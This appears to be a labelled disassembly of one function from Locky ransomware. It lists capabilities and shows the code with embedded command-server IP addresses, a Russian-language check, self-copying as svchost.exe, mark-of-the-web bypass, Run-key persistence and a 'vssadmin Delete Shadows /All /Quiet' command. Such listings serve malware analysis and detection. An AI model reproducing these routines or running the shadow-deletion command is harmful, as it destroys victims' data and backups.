Function at 0x404044
Capabilities:
Bypass mark of the web
Copy file
Create thread
Delete file
Delete registry value
Delete volume shadow copies
Identify system language via api
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x410952
call fcn.0040f350
sub esp, 0x27c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x403066
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x28]
push eax
xor ebx, ebx
push 0x80
mov dword [ebp - 0x54], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4040a9
push 4
lea eax, [ebp - 0x54]
push eax
push 0x18
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Wow64DisableWow64FsRedirection
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4040ca
lea ecx, [ebp - 0x30]
push ecx
call eax
mov dword [ebp - 4], ebx
mov al, byte [str.51.255.107.10_188.127.231.116_51.255.107.8_37.139.27.52]
test al, al
je 0x40416c
mov esi, str.51.255.107.10_188.127.231.116_51.255.107.8_37.139.27.52
mov eax, esi
mov dword [ebp - 0x38], 0xf
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x4c], 0
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4040f2
sub eax, ecx
mov edi, eax
push esi
lea eax, [ebp - 0x4c]
call fcn.00405579
test al, al
lea eax, [ebp - 0x4c]
je 0x404119
push edi
sub esi, eax
push esi
push eax
call fcn.00405625
jmp 0x40414e
push ebx
push edi
call fcn.004057d7
test al, al
je 0x40414e
cmp dword [ebp - 0x38], 0x10
mov eax, dword [ebp - 0x4c]
jae 0x404130
lea eax, [ebp - 0x4c]
push edi
push esi
push eax
call fcn.0040e7d0
mov eax, dword [ebp - 0x4c]
add esp, 0xc
cmp dword [ebp - 0x38], 0x10
mov dword [ebp - 0x3c], edi
jae 0x40414a
lea eax, [ebp - 0x4c]
mov byte [eax + edi], 0
lea eax, [ebp - 0x4c]
push eax
mov byte [ebp - 4], 1
call fcn.004073fc
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x4c]
mov byte [ebp - 4], 0
call fcn.004059f4
mov eax, dword [0x4137e4]
mov dword [0x419a64], eax
mov al, byte [0x4137ee]
test al, al
je 0x4041ba
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov esi, 0x3ff
and ax, si
cmp ax, 0x19
je 0x4041b1
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
and ax, si
cmp ax, 0x19
je 0x4041b1
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
and ax, si
cmp ax, 0x19
jne 0x4041ba
or dword [ebp - 4], 0xffffffff
call fcn.00406196
mov eax, dword [0x4137e8]
test eax, eax
je 0x4041d5
mov eax, dword [0x4137e8]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push 0x2001f
push ebx
push ebx
push ebx
push str.SoftwareLocky
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
je 0x40420f
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x7c], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x7c]
push eax
call fcn.0040ab7e
mov dword [ebp - 0x154], 0xf
mov dword [ebp - 0x158], ebx
mov byte [ebp - 0x168], 0
lea eax, [ebp - 0x168]
push eax
push 0x413bac
lea eax, [ebp - 0x14]
push eax
lea esi, [ebp - 0x22c]
mov byte [ebp - 4], 3
call fcn.00404dd8
push eax
mov eax, 0x418d10
mov byte [ebp - 4], 4
call fcn.00405345
push 1
xor edi, edi
call fcn.004059f4
push 1
lea esi, [ebp - 0x168]
call fcn.004059f4
and dword [ebp - 0x120], edi
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
lea eax, [ebp - 0x130]
push eax
mov ebx, str.pubkey
push ebx
lea eax, [ebp - 0x14]
push eax
lea esi, [ebp - 0x1a0]
mov byte [ebp - 4], 5
call fcn.00404dd8
push eax
mov eax, 0x418d2c
mov byte [ebp - 4], 6
call fcn.00405345
push 1
call fcn.004059f4
push 1
lea esi, [ebp - 0x130]
call fcn.004059f4
and dword [ebp - 0x13c], edi
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
lea eax, [ebp - 0x14c]
push eax
push str.paytext
lea eax, [ebp - 0x14]
push eax
lea esi, [ebp - 0x1f4]
mov byte [ebp - 4], 7
call fcn.00404dd8
push eax
mov eax, 0x418d48
mov byte [ebp - 4], 8
call fcn.00405345
push 1
call fcn.004059f4
push 1
lea esi, [ebp - 0x14c]
mov byte [ebp - 4], 2
call fcn.004059f4
lea eax, [ebp - 0xb0]
push eax
call fcn.00405f64
pop ecx
mov edi, 0x418d10
lea eax, [ebp - 0xb0]
mov edx, edi
mov byte [ebp - 4], 9
call fcn.00404e79
test al, al
push 4
pop esi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push str.completed
push dword [ebp - 0x14]
sete byte [ebp - 0x15]
mov dword [ebp - 0x2c], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x404378
cmp dword [ebp - 0x2c], esi
jne 0x404378
mov eax, dword [ebp - 0x58]
jmp 0x40437a
xor eax, eax
test eax, eax
je 0x4043b5
mov eax, edi
lea edx, [ebp - 0xb0]
call fcn.00404e79
test al, al
je 0x4043b5
push 1
xor edi, edi
lea esi, [ebp - 0xb0]
call fcn.004059f4
cmp dword [ebp - 0x14], edi
je 0x4041b1
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4041b1
lea esi, [ebp - 0xe8]
call fcn.00405963
lea esi, [ebp - 0x184]
mov byte [ebp - 4], 0xa
call fcn.00405252
mov byte [ebp - 4], 0xb
mov al, byte [0x4137ec]
test al, al
je 0x404457
mov eax, esi
lea ecx, [ebp - 0xe8]
call fcn.00405cb2
test al, al
jne 0x404457
push str.svchost.exe
mov eax, esi
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.00404b68
add esp, 0xc
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0xb8], 8
mov ecx, dword [ebp - 0xcc]
jae 0x40441d
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xd4], 8
mov eax, dword [ebp - 0xe8]
jae 0x404432
lea eax, [ebp - 0xe8]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x4044e1
xor edi, edi
lea esi, [ebp - 0xcc]
push 1
mov byte [ebp - 4], 0xb
call fcn.00402d33
cmp dword [0x418d3c], 0
je 0x40446a
cmp byte [ebp - 0x15], 0
je 0x4045a0
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.004034c0
pop ecx
pop ecx
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x14]
push eax
mov ecx, 0x413bac
mov byte [ebp - 4], 0xd
call fcn.00404ce7
cmp dword [ebp - 0x100], 0x10
mov eax, dword [ebp - 0x114]
jae 0x4044ad
lea eax, [ebp - 0x114]
push dword [ebp - 0x104]
push eax
push 3
push 0
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40456b
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x64]
jmp 0x404209
push str.:Zone.Identifier
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x264]
push eax
call fcn.00404b68
add esp, 0xc
cmp dword [eax + 0x14], 8
jb 0x404504
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
xor edi, edi
lea esi, [ebp - 0x264]
call fcn.00402d33
sub esp, 0x1c
lea eax, [ebp - 0xcc]
mov esi, esp
mov dword [ebp - 0x30], esp
push eax
call fcn.0040522c
call fcn.0040611c
add esp, 0x1c
lea esi, [ebp - 0xcc]
test al, al
je 0x40444c
xor ebx, ebx
inc ebx
push ebx
call fcn.00402d33
push ebx
lea esi, [ebp - 0x184]
call fcn.00402d33
push ebx
lea esi, [ebp - 0xe8]
call fcn.00402d33
push ebx
jmp 0x404391
lea eax, [ebp - 0xb0]
push eax
mov eax, 0x418d10
call fcn.00405345
lea eax, [ebp - 0x114]
push eax
mov eax, 0x418d2c
call fcn.00405345
push 1
xor edi, edi
lea esi, [ebp - 0x114]
mov byte [ebp - 4], 0xb
call fcn.004059f4
cmp dword [0x418d58], 0
je 0x4045b3
cmp byte [ebp - 0x15], 0
je 0x4046b6
lea esi, [ebp - 0x280]
call fcn.00405ecd
mov esi, eax
lea eax, [ebp - 0x248]
push 0x4139bc
push eax
mov edi, 0x418d10
mov byte [ebp - 4], 0xe
call fcn.00404bf9
pop ecx
pop ecx
push str.actgettextlang
push eax
lea eax, [ebp - 0x210]
mov byte [ebp - 4], 0xf
call fcn.00404c70
pop ecx
pop ecx
mov ecx, esi
lea edi, [ebp - 0x1d8]
mov byte [ebp - 4], 0x10
call fcn.00404ca1
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x1bc]
push eax
mov byte [ebp - 4], 0x11
call fcn.00406ebc
add esp, 0xc
push eax
mov ebx, 0x418d48
mov eax, ebx
mov byte [ebp - 4], 0x12
call fcn.00405345
push 1
xor edi, edi
lea esi, [ebp - 0x1bc]
call fcn.004059f4
push 1
lea esi, [ebp - 0x1d8]
call fcn.004059f4
push 1
lea esi, [ebp - 0x210]
call fcn.004059f4
push 1
lea esi, [ebp - 0x248]
call fcn.004059f4
push 1
lea esi, [ebp - 0x280]
mov byte [ebp - 4], 0xb
call fcn.004059f4
cmp dword [0x418d5c], 0x10
mov eax, dword [0x418d48]
jae 0x404682
mov eax, ebx
push dword [0x418d58]
push eax
push 3
push 0
push str.paytext
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4046b6
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x74], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x74]
jmp 0x404209
lea eax, [ebp - 0xf8]
push eax
call fcn.004081d1
pop ecx
mov byte [ebp - 4], 0x13
mov edi, dword [ebp - 0xf8]
xor ebx, ebx
cmp edi, dword [ebp - 0xf4]
je 0x4047ad
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
push 0x40345b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x24], ebx
cmp eax, ebx
je 0x404787
cmp eax, 0xffffffff
je 0x404787
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x14
mov ecx, dword [0x419a74]
lea eax, [ebp - 0x24]
cmp eax, ecx
jae 0x404745
mov edx, eax
mov eax, dword [0x419a70]
cmp eax, edx
ja 0x404745
mov esi, edx
sub esi, eax
sar esi, 3
cmp ecx, dword [0x419a78]
jne 0x404740
call fcn.0040497a
mov ecx, dword [0x419a74]
mov eax, dword [0x419a70]
lea eax, [eax + esi*8]
jmp 0x40475b
cmp ecx, dword [0x419a78]
jne 0x404758
call fcn.0040497a
mov ecx, dword [0x419a74]
lea eax, [ebp - 0x24]
call fcn.00404f59
add dword [0x419a74], 8
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x24], ebx
je 0x40477f
cmp dword [ebp - 0x24], 0xffffffff
je 0x40477f
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add edi, 0x1c
jmp 0x4046cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x94], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x94]
jmp 0x404209
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x30], esp
push str.vssadmin.exe_Delete_Shadows__All__Quiet
call fcn.00402e75
call fcn.0040611c
add esp, 0x1c
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 4], 0x15
mov al, byte [0x4137ed]
test al, al
je 0x404833
lea eax, [ebp - 0x50]
push eax
push 0x2000000
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
mov byte [ebp - 4], 0x16
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x404817
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x84], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x84]
jmp 0x404209
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0xe8]
call fcn.00404ed2
mov dword [ebp - 4], 0x15
mov esi, dword [0x419a70]
cmp esi, dword [0x419a74]
jae 0x40485d
push 0xffffffffffffffff
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esi, 8
jmp 0x404839
push 4
lea eax, [ebp - 0x5c]
push eax
push 4
push 0
mov byte [ebp - 4], 0x18
push str.completed
push dword [ebp - 0x14]
mov dword [ebp - 0x5c], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4048a4
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x8c], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x8c]
jmp 0x404209
mov al, byte [0x4137ed]
test al, al
je 0x4048e5
push str.Locky
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x4048e5
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x6c], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x6c]
jmp 0x404209
mov dword [ebp - 4], 0x15
mov byte [ebp - 4], 0x1a
cmp dword [0x418d58], 0
je 0x4048fe
call fcn.00403d8a
cmp dword [ebp - 0x1c], 0
je 0x40490d
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xf8]
push eax
call fcn.00404a15
push 1
xor edi, edi
lea esi, [ebp - 0x184]
call fcn.00402d33
push 1
lea esi, [ebp - 0xe8]
call fcn.00402d33
jmp 0x40438f